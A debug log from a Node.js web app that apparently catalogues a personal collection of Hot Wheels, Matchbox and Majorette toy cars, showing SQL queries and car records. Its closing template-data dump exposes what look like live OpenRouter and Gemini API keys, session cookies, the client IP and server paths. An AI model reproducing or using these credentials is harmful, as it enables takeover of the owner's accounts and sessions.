2026-02-04T07:24:32.251Z server-connect:app Executing action step identify
2026-02-04T07:24:32.251Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:32.251Z server-connect:output identity: 1
2026-02-04T07:24:32.251Z server-connect:app Executing action step restrict
2026-02-04T07:24:32.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:24:32.251Z server-connect:output restrict: undefined
2026-02-04T07:24:32.251Z server-connect:app Executing action step select
2026-02-04T07:24:32.251Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:24:32.252Z server-connect:output restrict: undefined
2026-02-04T07:24:32.252Z server-connect:app Executing action step select
2026-02-04T07:24:32.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:24:32.252Z server-connect:app Executing action step identify
2026-02-04T07:24:32.252Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:32.252Z server-connect:output identity: 1
2026-02-04T07:24:32.252Z server-connect:app Executing action step restrict
2026-02-04T07:24:32.252Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:24:32.253Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T07:24:32.255Z server-connect:output restrict: undefined
2026-02-04T07:24:32.255Z server-connect:app Executing action step paged
2026-02-04T07:24:32.255Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:24:32.256Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:24:32.256Z server-connect:app Executing action step select
2026-02-04T07:24:32.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:24:32.256Z server-connect:output restrict: undefined
2026-02-04T07:24:32.256Z server-connect:app Executing action step select
2026-02-04T07:24:32.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:24:32.257Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:24:32.257Z server-connect:app Executing action step select
2026-02-04T07:24:32.257Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:24:32.257Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:24:32.258Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:24:32.260Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:24:32.491Z server-connect:router Serving templateView /
2026-02-04T07:24:32.491Z server-connect:app Executing action step identify
2026-02-04T07:24:32.491Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:32.492Z server-connect:output identity: 1
2026-02-04T07:24:32.492Z server-connect:app Executing action step restrict
2026-02-04T07:24:32.492Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:24:32.492Z server-connect:output restrict: undefined
2026-02-04T07:24:32.492Z server-connect:app Executing action step restrict
2026-02-04T07:24:32.492Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:24:32.493Z server-connect:output restrict: undefined
2026-02-04T07:24:32.493Z server-connect:router Render template layouts/main
2026-02-04T07:24:32.493Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
